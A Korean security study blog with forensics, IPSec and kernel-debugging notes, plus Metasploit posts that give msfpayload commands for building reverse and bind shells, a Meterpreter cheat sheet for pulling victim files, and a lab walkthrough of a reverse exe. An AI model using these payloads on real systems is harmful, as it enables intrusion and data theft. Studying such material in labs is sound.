'공부'에 해당되는 글 93건

  1. 2012.08.12 MAC OUI Finder
  2. 2012.08.12 Windows Kernel Debugger(VirtualKD) 1
  3. 2012.08.09 [InForensics] 메모리 분석 - 1
  4. 2012.07.26 [Metasploit]Meterpreter API Cheat Sheet
  5. 2012.07.25 [Forensics]Live Response 1
  6. 2012.07.21 [Metasploit] Msfpayload
  7. 2012.07.21 [Metasploit]Meterpreter (Reverse exe) 4
  8. 2012.07.21 nc를 이용한 파일 전송
  9. 2012.07.19 IPSec
  10. 2012.07.19 DHCP 1

MAC OUI Finder

공부/Network 2012. 8. 12. 20:46 |

http://hwaddress.com/

'공부 > Network' 카테고리의 다른 글

SMB Protocol  (0) 2013.02.07
[Protocol]NBNS  (1) 2013.01.20
nc를 이용한 파일 전송  (0) 2012.07.21
IPSec  (0) 2012.07.19
DHCP  (1) 2012.07.19
Posted by extr
:

가상메모리 변환좀 본답시고 윈도우 커널 디버깅을 할려고 했는데


찾아 보니까 윈도우 커널 디버깅은 가장 잘 알려진 방식이 두 가지가 있더라구요


첫 번째가 Windbg를 C/S방식으로 VM과 시리얼포트 연결해서 하는 방법이고,


두 번째가 Windbg와 LiveKD를 이용해서 로컬 커널 디버깅 하는 방식.


이렇게 나뉘어져 있는데..


문제는


제 컴퓨터에선 둘 다 안되더라구요 ㅡㅡ


첫 번째 방법은 디버그 모드 진입을 해도 WINDBG가 인식을 하질 않고.. 두 번째 방법은 livekd가 모듈 찾을 수 없다고 하고..(이건 제 잘못일지도 모르겠네여)



그렇게 이틀동안 해결할라꼬 별의 별짓 다하다가 오늘 발견한게 바로 이 VirtualKD!


VirtualKD는 VM머신과 연동해서 사용할 수 있는 커널 디버깅 프로그램인데요 

위 두 가지 방식과는 다르게 이건 프로그램 지 혼자서 설정 다해주고 바로바로 할 수가 있는 프로그램임다


VirtualKD의 다운로드는 여기를 클릭하시면 링크로 이동합니다!



VirtualKD의 사용 방법은 매우 간단합니다.







1. target폴더를 대상 VM에다 옮기세요.



2. vmmon을 분석할 컴퓨터에서 실행하세요(32비트의 경우, vmmon을 실행해주시고 64비트의 경우 vmmon64를 실행해주세요).





3. VM에서 target 폴더로 들어가셔서 vminstall.exe를 실행시켜주세요.



이제 준비 끝입니다. 2번에서 vmmon을 실행했는데 한번 볼까여









VM의 파이프네임을 확인해주시고 선택해주세요.



아! 그리고 디버거도 선택할 수 있습니다. 저같은 경우엔, Windbg로 디버깅을 할 것이기 때문에 debugger path를 windbg로 설정했구요.



설정을 완료하신 후에 run debugger를 누르시면 디버거가 실행되며, 정상적으로 커널 디버깅 모드에 진입한 것을 확인할 수 있습니다.



어휴 이렇게 보니까 진짜 매우 간단하네요 짱쉽져?





'공부 > Reversing' 카테고리의 다른 글

Android-Trojan/FakeInst  (0) 2013.03.08
Win-Trojan/Scar.109568.U  (0) 2013.03.06
Win32/Aimbot.worm.15872  (0) 2013.03.06
MUP 강좌 페이지 링크 모음  (1) 2013.02.08
Posted by extr
:

메모리 분석이란?


메모리에는 복호화된 파일 컨텐츠, 사용자 패스워드 등과 같이 메모리에서만 찾을 수 있는 특유의 정보가 있다.

메모리 포렌식이 오늘날 갑자기 각광 받는 이유를 크게 세 가지 정도 알아보자.




1. 직접 메모리에 로드되어 실행되는 악성코드가 있다.


인 메모리 라이브러리 인젝션이란, 하드 드라이브에 악성 실행 코드를 복사하지 않고, 바로 메모리에 로드하는 기법으로 기술이 예전에 비하여 상당히 고도화된 코드 실행 기법이다. 하지만 악성 코드가 실행되기 위해서는 반드시 평문의 실행 코드가 메모리에 로드되어야 하므로, 결국 이 같은 기법 또한 흔적을 남긴다는 것을 알 수 있다.



2. 애플리케이션의 사용자 프라이버시 보호 기능이 강화되고 있다.


사용자 프라이버시 보호는 디지털 포렌식에 있어서 매우 중요한 문제이다. 특히 소프트웨어 회사들은 사용자 프라이버시 보호를 위해 많은 노력을 기울일 필요가 있다.



3. 안티포렌식 기술의 확산.


이전의 안티 포렌식 도구들은 Slack 영역, MBR 영역, 비 할당 영역, DCO/HPA 영역 등에 컨텐츠를 은닉하거나, 컨텐츠를 삭제하기 위해 무작위의 데이터를 덮어 쓰는 방식 등을 이용했었다. 이 기술들은 최근에도 이용이 되고 있으며, 더욱 발전된 기법들로 포렌식 기술에 대한 대항력을 발전시켜나가고 있다.




이러한 이유로 메모리 분석은 디지털 포렌식 분야에 있어서 빼 놓을 수 없는 분석 단계라 여겨진다. 하지만, 중요한 만큼 분야가 이해하기 상당히 난해하기 때문에 예전부터 사람들이 쉽게 접하지 않는 영역으로 남아있다. 



1. 메모리 분석은 최근부터 관심을 받기 시작했다.


2. 커널 오브젝트 구조와 프로세스 관리, 메모리 관리 기법 등의 지식이 요구된다.


3. 메모리 구조 자체가 매우 난해하며, 여러 환경에 따라 변한다.



라이브 리스폰스와 메모리 분석



라이브 리스폰스와 메모리 분석은 다음과 같은 특징이 존재한다. 





표를 보았을 때 덤프 파일을 대상으로 하는 메모리 분석이 실 상황에서 하는 라이브 리스폰스에 비해 신뢰성과 만족스러운 결과를 보장해주는 것을 알 수 있다.


하지만, 아직 메모리 포렌식은 기법이나 도구들이 많이 발전되지 않은 상태라 우리가 원하는 수준에 미치지 못하고 있다. 하지만, 앞으로의 발전을 통해 메모리 포렌식이 많은 도움을 줄 것이라 기대해 볼 수 있다.




'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 3  (1) 2012.08.22
[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Forensics]Live Response  (1) 2012.07.25
[Metasploit] Msfpayload  (0) 2012.07.21
Posted by extr
:

This page contains meterpreter methods with their syntax and output. The aim was to provide a quick reference for the meterpreter script developer. 


Rather than checking the code of already existing meterpreter scripts and searching for the relevant method, this page can be like a one stop shop.


Hope this will help newbies and enthusiast like me who want to start writing their own meterpreter scripts. 


P.S : Not all the methods are covered as this is all i can do in 3 hours. More to update soon :)




Get all the files/folders in a directory


Syntax: client.fs.dir.entries

Output: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"]

Comment: By default it will get the files and directories of present working directory.


Syntax: client.fs.dir.entries("c:\\")

Output: ["sample_file.txt","dummy_directory","myfile.exe"] 

Comment: This will get the files and directories of c drive.


Get all the files/folders in a directory along with extra information


Syntax: client.fs.dir.entries_with_info

Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]

Comment: By default it will get the files and directories of present working directory.


Syntax: client.fs.dir.entries_with_info("c:\\")

Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]

Comment: This will get the files and directories of c drive.


Change the directory


Syntax: client.fs.dir.chdir("c:\\")

Output: 0

Comment: This will change the present working directory to c drive.


Make directory


Syntax: client.fs.dir.mkdir("c:\\oldman")

Output: 0

Comment: This will make a directory named "oldman" in c drive.


Get current working directory


Syntax: client.fs.dir.pwd

Output: "c:\\oldmanlab"

Comment: This will give the current working directory name



Syntax: client.fs.dir.getwd

Output: "c:\\oldmanlab"

Comment: This will give the current working directory name


Delete a directory


Syntax: client.fs.dir.delete("c:\\oldman")

Output: 0

Comment: This will delete the specified directory only if empty.


Syntax: client.fs.dir.rmdir("c:\\oldman")

Output: 0

Comment: This will delete the specified directory only if empty.


Syntax: client.fs.dir.unlink("c:\\oldman")

Output: 0

Comment: This will delete the specified directory only if empty.


Download contents of a target directory


Syntax: client.fs.dir.download("/root/oldmanlab/","c:\\oldman")

Output: [".", "..", "firefox.lnk", "my_file.txt"]

Comment: This will download all the file inside oldman directory of victim and will save inside the oldmanlab directory of an attacker system.


Upload contents of a local directory to victim system


Syntax: client.fs.dir.upload("c:\\oldman","/root/oldmanlab")

Output: [".", "..", "firefox.lnk", "my_file.txt"]

Comment: This will upload all the content inside oldmanlab directory of an attacker to the oldman directory of victim system.


Get the file separator


Syntax: client.fs.file.separator

Output: \\

Comment: This will give the file separator used by the system (\\ for windows, \ for unix.


Search for the specified file


Syntax: client.fs.file.search("c:\\oldman","hacking.txt")

Output: [{"path"=>"c:\\oldman\\lab", "name"=>"hacking.txt", "size"=>4}]

Comment: This will search for hacking.txt in the oldman directory and its subdirectories


Get the basename for the specified file


Syntax: client.fs.file.basename("c:\\oldman\\hacking.txt")

Output: hacking.txt

Comment: This will give the filename of the filepath specified. 


Expand path of the directory


Syntax: client.fs.file.expand_path("%TEMP%")

Output: "C:\\WINDOWS\\TEMP"

Comment: This will give the absolute path of the shortcut specified


Get the md5 of file


Syntax: client.fs.file.md5("c:\\oldman\\file.txt")

Output: "\x12,\x17~Fj\xFEq\xB7?'\x01;f\x7F'"

Comment: This will give the md5 sum of the specified file


Get the sha1 of file


Syntax: client.fs.file.md5("c:\\oldman\\file.txt")

Output: "Q\xD0\b\xFF\xFA\xD8\xF4x7_\xAE\x911\xB4\xE12V\xB8\tw"

Comment: This will give the sha1 of the specified file


Check if specified file exists


Syntax: client.fs.file.exists?("c:\\oldman\\file.txt")

Output: true

Comment: This will return true if file exists else false


Delete specified file


Syntax: client.fs.file.rm("c:\\oldman\\file.txt")

Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0 

Comment: This will return true if file exists else false


Syntax: client.fs.file.unlink("c:\\oldman\\file.txt")

Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0 

Comment: This will return true if file exists else false


Upload file to victims system


Syntax: client.fs.file.upload("c:\\oldman","/root/lab/evil.exe")

Output: ["/root/lab/firefox.lnk"]

Comment: This will upload evil.exe from attackers system to victims oldman directory


Download file from victims system


Syntax: client.fs.file.download("/root/lab/secret.exe","c:\\oldman\\secret.exe")

Output: ["c:\\oldman\\secret.exe"]

Comment: This will download secret.exe from victims system and will save it to attackers root directory


Open a file in read mode and copy the content to some variable


Syntax: file1 = client.fs.file.new("c:\\oldman\\my_file.txt")

              temp = ""

              until file1.eof?

              temp << file_object.read

Output: N.A

Comment: This will copy all the data inside my_file.txt and store it in temp variable


List all the available interface from victims system


Syntax: client.net.config.get_interfaces

Output: [......]

Comment: This will return an array of the first interface available in the victims system along with the details like IP, netmask, mac_address etc


Syntax: client.net.config.get_interfaces[0]

Output: [......]

Comment: This will return an array of the first interface available in the victims system along with the details like IP, netmask, mac_address etc


Get the IP address of specified interface


Syntax: client.net.config.get_interfaces[1].ip

Output: 192.168.7.3

Comment: This will give IP address of the second interface in the list.


List all the routes available in victims system


Syntax: client.net.config.get_routes

Output: 

Comment: This will return an array of all the routes available in the victims system along with the details like subnet, netmask, gateway


Syntax: client.net.config.get_routes[0]

Output: 

Comment: This will return an array of the first route available in the victims system along with the details like subnet, netmask, gateway


Add a route in victims system


Syntax: client.net.config.add_route("x.x.x.x","x.x.x.x","x.x.x.x")

Output: true

Comment: This will add route in the victims system. The first parameter is subnet, second is netmask and third is gateway.


Remove specified route from victims system


Syntax: client.net.config.remove_route("x.x.x.x","x.x.x.x","x.x.x.x")

Output: true

Comment: This will remove route from the victims system. The first parameter is subnet, second is netmask and third is gateway.


Get the user id


Syntax: client.sys.config.getuid

Output: "NT AUTHORITY\\SYSTEM"

Comment: This will give the user id of the victim system. It basically shows our access level.


Get the victims computer name


Syntax: client.sys.config.sysinfo["Computer"]

Output: "WINXP-1337"

Comment: This will give the computer name of the compromised system.


Get the victims operating system name and version


Syntax: client.sys.config.sysinfo["OS"]

Output: "Windows XP (Build 2600, Service Pack 2)."

Comment: This will give the operating system name running on the compromised system.


Get the victims operating system architecture


Syntax: client.sys.config.sysinfo["Architecture"]

Output: "x86"

Comment: This will give the architecture (x86,64-bit)of the operating system running on compromised system.


Get the victims operating system language


Syntax: client.sys.config.sysinfo["System Language"]

Output: "en_US"

Comment: This will give operating system language of the compromised system.


Revert to previous user privileges


Syntax: client.sys.config.revert_to_self

Output: N.A

Comment: Let say if we had change privilege from "NT AUTHORITY\\oldmanlab" to "NT AUTHORITY\\SYSTEM" then revert to self will again change our privileges to "NT AUTHORITY\\oldmanlab" 




출처 - http://oldmanlab.blogspot.kr/p/meterpreter-api-cheat-sheet.html

'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Forensics]Live Response  (1) 2012.07.25
[Metasploit] Msfpayload  (0) 2012.07.21
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
Posted by extr
:

라이브 리스폰스(Live Response)


 - 실행 중인 시스템을 대상으로 행해지는 일련의 포렌식 조사 과정


 - 휘발성 정보(시스템 시간, 네트워크 연결 정보, 로그온 사용자 정보, 실행되고 있는 프로세스 정보 등)은 컴퓨터의 전원이 꺼지면 사라지기 때문에 이러한 정보를 얻기 위함.


 


라이브 리스폰스의 중요성


 - 휘발성 저장장치에서만 얻을수 있는 정보가 있음


   (동작중인 프로세스 목록, 열려있는 파일 목록, 네트워크 연결 정보, 클립보드, 사용자 정보, 임시 파일, 비밀번호 등)


 - 최근에는 비휘발성 저장 장치를 거치지 않고 메모리에 상주하는 악성 프로그램이 다수 존재함.


 - 수집한 휘발성 정보를 통해 시스템의 대략적인 상태 파악


   (OS의 버젼, 서비스팩의 정보 등을 통하여 예상 가능한 취약점 목록으로 시간과 자원의 절약)


 - 기업의 서버 같이 항상 구동중이여야 하는 시스템이 존재


 


라이브 어퀴지션(Live Acquisition)


 - 동작 중인 컴퓨터에서 하드 드라이브의 이미지를 복사하는 것


 - 서버처럼 스토리지 용량이 크고 트랜젝션이 수시로 일어나는 곳은 적절치 않음


 - RAID로 구성 되어 있는 기업용 스트리지 용량은 수백 Gbyte에서 수 Tbyte이므로 수일이 걸릴수 있음.


 - 시간도 문제지만 그 기간 동안 정보의 변경이 더 큰 문제


 


라이브 리스폰스의 수행 시기


 - 시간이 촉박하지 않은 경우 항상 수행하는 것이 좋음.


 - 비휘발성 장치에서 증거가 수정/삭제 되고 있는 경우 상황에는 수행 하지 않는 것이 좋음.


 - 안전 삭제(Secure Deletion)이나 Secure Erease, 와이핑(Wiping)이 진행 중인 경우 전원 플러그를 뽑는 것이 좋음.


   (휘발성 자료보다 삭제하려는 자료가 더 중요 함)


 - 해커가 침입 상태라면 휘발성 정보(네트워크 연결 정보, 메모리 덤프 우선)을 수집한뒤 종료


 - 사용하려는 도구들이 조사하려는 컴퓨터의 윈도우버전에 대해 충분한 검토가 되지 않았을 경우 수행하지 않음.


 


시스템 종류에 따른 종료 방법


 - 개인용 OS는 플러그를 바로 뽑아도 되지만 서버용 OS나 서버 어플리케이션이 설치된 컴퓨터는 정상 종료.


 - 멀티탭이 아니라 콘센트를 뽑는 이유는 UPS가 있는 경우를 대비


 - 서버용 OS(윈도우 서버, 유닉스 계열)는 개인용OS에 비해 장애 대비 능력이 뛰어나지 않음.


 - 노트 북의 경우 노트북의 전원이 꺼지지 않으므로 배터리를 제거해야 함.


 


라이브 리스폰스의 원칙


 - '원본에 대한 영향을 최소화'


 - 실제로 다양한 도구를 테스트 해보고 시스템에 가장 영향이 적은 도구를 선별 하는 것이 현실적인 방안


 


로카드 교환 법칙(Locard's Exchange Principle)


 - '접촉한 두 물체 사이에는 반드시 교환이 일어난다'


 - 범죄 현장에서 어떤식이든 물체와 물리적인 접촉이 생기고 그것이 범죄의 증거가 될수 있다는 원리


 - 범인에게만 적용 되는 것이 아니라 증거 수집 간에도 적용되므로 조사간 부정적 영향을 미칠수 있음.


 


라이브 리스폰스 단계에서 영향을 미치는 시스템 구성 요소



  - 메모리(Memory)


> 리스폰스 도구를 실행하면 프로세스가 생성되어 그 코드와 오브젝트들이 메모리에 적재되어 이전에 있던 영역에 있던 데이터를 덮어씀. 


> 커널 오브젝트를 관리하는 시스템 테이블이 갱신되어 새로운 항목 추가 또는 이전 테이블이 삭제 됨.


 


 - 네트워크(Network)


> 사용하는 도구가 네트워크 기능을 사용한다면 관련 로그가 남게 됨.


> 네트워크 연결도 커널 오브젝트에 의해 커널 테이블을 갱신. 


 


 - 프리패치 파일(Prefetch File)


> 윈도우는 새로운 프로그램이 실행 될때마다 프리패치 파일을 생성


> 파일 크기가 크지는 않지만 클러스터 단위로 하나 이상의 영역을 할당 받아 사용.


> xp는 프리패치 파일 갯수의 제한(120개)를 넘을시 이전의 프리패치 파일을 삭제.



 - 레지스트리(Registry)


> 대다수 리스폰스 도구들이 레지스트리에 접근하여 설치정보를 찾고 EULA(End User License Agreement)가 사용자에 의해 승인되었는지의 유무를 확인.


> 레지스트리에 대한 접근/쓰기는 마지막 접근/쓰기 시간의 변경을 의미


> 실행 도구들에 대한 기록을 남김.


 

 - DLL(Dynamic Link Library)


> 포렌식 프로그램이 시스템 함수를 사용할 경우 DLL 파일을 사용하게 되면 접근시간이 변경 됨.


> DLL 접근 시간은 크게 중요하지 않지만 악의 적으로 변조/교체 되면 위험함.


 


 - 로그 파일(Log File)


> 사용한 도구가 에러를 발생시 기본적으로 이벤트 로그에 기록이 남음.


 



사전 준비



 - 도구 선택 단계


> 불법적인 도구는 법적 증거물이 될수 없으므로 정식 도구를 사용


> 정식 도구라 하더라도 바이러싀이 감염되거나 임의로 수정되었다면 사용 불가


> 가능하면 포렌식 전용 툴을 사용




 - 도구 테스트 단계


> 도구가 미치는 영향을 파악


> 버젼과 서비스팩에 따라 호환성이 다를수 있으므로 문제 없이 실행 되는지 확인


(ex. 윈도우 SP2부터는 포렌식용 dd가 아니면 메모리 덤프를 사용할수 없음


 


 - 문서화 단계


> 선택한 도구들의 목록을 만들고 출처와 해시를 기록


> 도구를 테스트하고 테스트 환경과 결과, 시스템에 미치는 영향을 기록


 


 - 사전 훈련 단계


> 라이브 리스폰스 도구들로 다양한 환경과 옵션으로 사용하여 문서화


 



모니터링과 문서화



 - 리스폰스 도구들이 시스템에 미치는 영향


> 프로그램이 실행될 때 로드 되는 DLL 파일 목록


> 레지스트리 접근 정보


> 프로그램이 수정 및 생성하는 파일 목록



-  도구 실행시 옵션마다 시스템에 미치는 영향이 다르므로 테스트로 검증된 옵션을 사용.


'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Metasploit] Msfpayload  (0) 2012.07.21
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
[Windows]Userdump.exe  (0) 2012.07.19
Posted by extr
:

Metasploit Payloads - msfpayload


This entry is really just a place for me to keep notes on working msfpayload details. I will expand on this post as i get more working examples.


These payloads will be detected by AV, I will cover methods of avoiding AV detection in another post.


In my examples 192.168.1.110 is the victim, and 192.168.1.112 is the attacker. Where I have not specified the port it will default to 4444.




1. For a listening shell on the target


Create payload:

./msfpayload windows/shell_bind_tcp LPORT=2482 X > /tmp/Listen-shell.exe


Target:

run Listen-shell.exe


Hacker:

nc 192.168.1.110 2482




2. For a reverse shell on the target


Create payload:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.112 X > /tmp/reverse-shell.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.112 E


Target:

run reverse-shell.exe




3. For a VNC listener on target


Create payload:

./msfpayload windows/vncinject/bind_tcp LPORT=2482 X > Listen-vnc.exe


Target:

run Listen-vnc.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=2482 RHOST=192.168.1.110 DisableCourtesyShell=TRUE E 




4. For a reverse VNC session


Create payload:

./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 X > /tmp/reverse-vnc.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 DisableCourtesyShell=TRUE E


Target:

run reverse-vnc.exe




5. For a meterpreter listener


create payload:

./msfpayload windows/meterpreter/bind_tcp LPORT=2482 X > met-listen.exe


Target:

run met-listen.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.1.110 LPORT=2482 E




6. For a reverse meterpreter connection (not working yet. not sure why)


Create payload:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 X > /tmp/met-reverse.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.112 E


Target:

run met-reverse.exe



UPDATE: Payload should for 6 should read:


./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 LPORT=4444 X > /tmp/met-reverse.exe




'공부 > Forensics' 카테고리의 다른 글

[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Forensics]Live Response  (1) 2012.07.25
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
[Windows]Userdump.exe  (0) 2012.07.19
[Windows]Nbtstat.exe  (0) 2012.07.19
Posted by extr
:

책보다 보니까 Metasploit Framework의 Meterpreter가 있길래 궁금해서 직접 해보기로 했다.


시연 내용은 Meterpreter의 Reverse exe이다.


우선 시연 환경 설명.



[Figure 1 - Victim XP]



먼저 Victim부터.


위의 XP는 Reverse exe 공격을 받게 될 가상 환경이다.


IP는 192.168.138.133.



[Figure 2 - Attacker Ubuntu]



그리고 Attacker인 Ubuntu.


IP는 192.168.138.135이다.

 



[Figure 3 - 파일 전송을 위한 포트 오픈]



Meterpreter를 통하여 Reverse exe 파일을 만들게 되면 공격자는 대상(Victim) 컴퓨터에 파일을 옮겨 둘 필요가 있다. Exploit을 하게 되면 세션을 물기 위해서 나중에 그 파일을 실행해야 하기 때문이다. 


그러므로, 굳이 nc가 아니더라도 USB를 이용하여 옮길 수도 있고, FTP, WebServer, Mail 등을 이용하여 옮길 수 있다(이 방법은 실제 상황에선 사회공학적인 방법이 된다). 필자는 가장 간단한 방법이고 어디까지나 시연이기 때문에 nc를 이용하여 파일을 전송하도록 하겠다.


nc를 이용한 파일 전송 방법은 여기를 클릭하여 확인할 수 있다.




[Figure 4 - Reverse exe 생성 및 파일 전송]



먼저 Reverse exe를 생성하는 방법을 알아보자.


[Figure 5 - Reverse exe 생성]



Reverse exe는 msfpayload를 이용하여 생성시킬 수 있다. msfpayload의 usage는 다음과 같다.



Usage: /opt/metasploit-4.4.0/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>


ex> msfpayload [no_option] <payload : windows/meterpreter/reverse_tcp> [var(LHOST,LPORT)] [exe : X] > (File Name)



payload는 TAB이 안되므로 직접 타이핑해야한다.


var로써 LHOST와 LPORT가 주어져있다. 이는 Reverse exe가 동작되는 컴퓨터(Victim)에서 세션을 물기 위한 목적지를 의미한다. 그러므로, 자신(Attacker)의 정보를 기입해주면 된다.


혹시나 해서 풀어서 설명해주자면 LHOST는 IP이고 LPORT는 Port(임의)이다. 정보를 기입한 후, 쓰기형식으로 exe 파일을 만들어내면 된다.


만들었으면 Victim PC에게 전송시키자.



[Figure 6 - 정상적으로 전송이 된 Reverse exe 파일]



올ㅋ굳ㅋ


이제 본격적으로 Exploit을 해보자. 


Exploit이라고 해도 이 작업은 기본적인 툴을 사용하기 때문에 그렇게 어렵지 않다. 약간의 세팅과 명령어 하나면 끝나는 작업이다.



[Figure 7 - 세팅 작업]



이런식으로 하나하나 세팅 후 Exploiting해도 되지만, MSFCLI를 이용하면 더 간단히 할 수 있다.



[Figure 8 - MSFCLI Exploit]



Exploit을 하게되면 Victim이 프로그램을 실행(세션을 물 때 까지)할 때 까지 대기를하다가, 프로그램을 실행하게 되면 위와 같이 meterpreter console이 실행되게 된다.


help를 통해 사용할 수 있는 명령어를 확인할 수 있다.



[Figure 9 - Victim Process]



위와 같이 ps 명령으로 Victim의 현재 동작중인 프로세스를 확인할 수도 있다.


[Figure 10 - Victim Network Status(netstat -nabo)]


하지만 Reverse exe Victim 또한 네트워크 연결 상태, 또는 프로세스 동작 상태를 통해 확인할 수 있다. 물론 보이지 않게 할 수 있다. 다만, 지금 시연된 meterpreter(모든 기능을 보지 않았기 때문에 미터프리터에 스텔스기능이 존재하는지는 잘 모르겠다.)에서 옵션 일부분을 필자가 확인할 땐 이러한 기능을 없는 것 같았다.



Meterpreter에 대한 사용 방법 - http://www.nologin.org/Downloads/Papers/meterpreter.pdf



'공부 > Forensics' 카테고리의 다른 글

[Forensics]Live Response  (1) 2012.07.25
[Metasploit] Msfpayload  (0) 2012.07.21
[Windows]Userdump.exe  (0) 2012.07.19
[Windows]Nbtstat.exe  (0) 2012.07.19
[NTSecurity]PromiscDetect.exe  (0) 2012.07.17
Posted by extr
:

수신자 : nc -l -p [Listen Port] > [Receive File Name]


송신자 : [cat|type] [Send File Name] | nc -w [Timeout(sec)] [Receiver IP] [Receiver Port]


출처 - http://innu.pe.kr/tt/379


'공부 > Network' 카테고리의 다른 글

[Protocol]NBNS  (1) 2013.01.20
MAC OUI Finder  (0) 2012.08.12
IPSec  (0) 2012.07.19
DHCP  (1) 2012.07.19
DNS  (0) 2012.07.19
Posted by extr
:

IPSec

공부/Network 2012. 7. 19. 20:19 |

IPSec (Internet Protocol Security protocol)


IPSec은 네트워크나 네트워크 통신의 패킷 처리 계층에서의 보안을 위해, 지금도 발전되고 있는 표준이다. 이전의 보안 기법들에서는 보안이 통신 모델의 응용 계층에 삽입되었었다. IPSec은 가상 사설망과 사설망에 다이얼업 접속을 통한 원격 사용자 접속의 구현에 특히 유용할 것이다. 


IPSec의 커다란 장점은 개별 사용자 컴퓨터의 변경 없이도 보안에 관한 준비가 처리될 수 있다는 것이다. 시스코는 IPSec를 표준으로 제안하는데 선두주자였으며, 자신들의 네트워크 라우터에 이 기능의 지원을 포함하였다. 


IPSec은, 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 (AH)와, 송신자의 인증 및 데이터 암호화를 함께 지원하는 ESP (Encapsulating Security Payload) 등, 두 종류의 보안 서비스를 제공한다. 이러한 각 서비스에 관련된 명확한 정보는 IP 패킷 헤더의 뒤를 잇는, 헤더 속의 패킷에 삽입된다. ISAKMP/Oakley 프로토콜과 같은 별개의 키 프로토콜들이 선택될 수 있다. 


AH·ESP 프로토콜로 구성, 각각 패킷 인증·비밀 보호


네트워킹 산업이 어느정도의 관심 대상이 되느냐는 곧 보안과 사생활 보호의 관심사항과 직결된다. 따라서 담당기관인 IETF는 IP 보안 프로토콜인 IPSec을 끊임없이 발전시키기 위해 분주한 노력을 펼치고 있다. IPSec은 인터넷상에 있는 시스템과 네트워크간에 안전하고 사적인 대화를 가능하게 한다.


전용prorietary 시스템에도 이기종 시스템과 네트워크 사이에서 발생하는 문제를 해결하기 위한 노력이 꾸준히 보강되고는 있지만 그래도 한 업체 전용이라는 사실은 어쩔 수 없다.


IPSec을 채택하면 관련된 네트워크의 특수 사양에 관계없이 사적인 이해집단communiry of interest을 만들 수 있다. 여기서는 IPSec을 구성하는 기술을 각각 속속들이 살펴봄으로써 IPSec 기술에 대한 독자들의 이해를 돕고자 한다.


1. IPSec 프로토콜


IPSec은 인증 헤더(AH : Authentic-ation Header)와 캡슐 보안 페이로드(ESP : Encapsulating Security Pay-laod) 등 2개의 프로토콜로 구성돼 있다. AH 프로토콜은 무결성과 데이터 기원 인증 및 재생replay에 대항한 보호를 제공하는 봉함envelope을 만든다. 따라서 AH는 침입자의 공격에 대항한 다양한 방어책을 제공한다. 이 프로토콜은 모든 패킷을 인증하기 때문에 세션을 도용하는 프로그램은 비효율적으로 간주된다. 또한 이 프로토콜의 기본적인 재생 카운터는 가짜 혹은 파괴성 데이터가 포함되어 있을 수도 있는 재생 공격을 중지시킬 수 있다.


AH는 또한 가능한 한 다수의 IP 헤더에 대한 인증을 제공하는데, 심지어 IP 헤더가 AH 봉함 외부에 있을 때도 그렇다. AH 인증은 IP 헤터 패킷이 전송중일 때 그에 대한 조작을 불가능하게 만든다. 따라서 AH의 이러한 특성은 NAT (Network Address Translation) 종단간 환경에서의 사용을 부적절하게 만든다. IP 헤더를 조작하는 것이 NAT 기능에서는 필수적이기 때문이다.


ESP 프로토콜은 데이터의 비밀성privacy을 제공하는데, 암호화되어 있지만 인증되지 않은 데이터 스트림에 대한 공격을 막기 위해 AH의 모든 기능이 포함돼 있다. IPSec 사양은 AH 기능을 제외한 ESP를 허용하고 있지만, 하고 있는 일에 대해 정확히 이해하지 못한다면 이것을 사용하지 말 것을 권장한다. ESP는 또한 널null 암호화를 사용할 수 있다. 널 암호화란 IP 헤더 인증을 제외한 AH와 거의 흡사한데, IP 헤더에서의 주소가 변하기 때문에 NAT 전송을 허용할 수 있다.


ESP와 AH는 IANA(Internet Addr-ess Naming Authority)에 의해 프로토콜 50과 51로 각각 등록돼 있다. 사용자의 경계border 라우터에 기본적인 패킷 필터링 규칙이 구현돼 있다면 이들 프로토콜을 가용 목록에 추가할 필요가 있을 것이다. IP 헤더의 이러한 프로토콜 유형의 필드는 현재 IPSec 봉함의 필드이기도 하므로 원래의 전송 유형은 IPSec 헤더내에서 다음 프로토콜 필드로 이동된다.


IPSec 프로토콜은 전송 모드나 터널 모드에서 모두 사용될 수 있다. 전송 모드에서 IPSec은 네트웍(IP)와 전송(TCP 혹은 UDP) 봉함간의 평범한 IP 패킷으로 진입한다. 전송 모드는 종단 시스템용으로 개발되었는데, 그 사용은 완전히 집단에 속한 모든 시스템에서의 전개용으로 서술되어 있기 때문에 대부분의 경우 애플리케이션의 재 프로그래밍이 필요할 것이다.


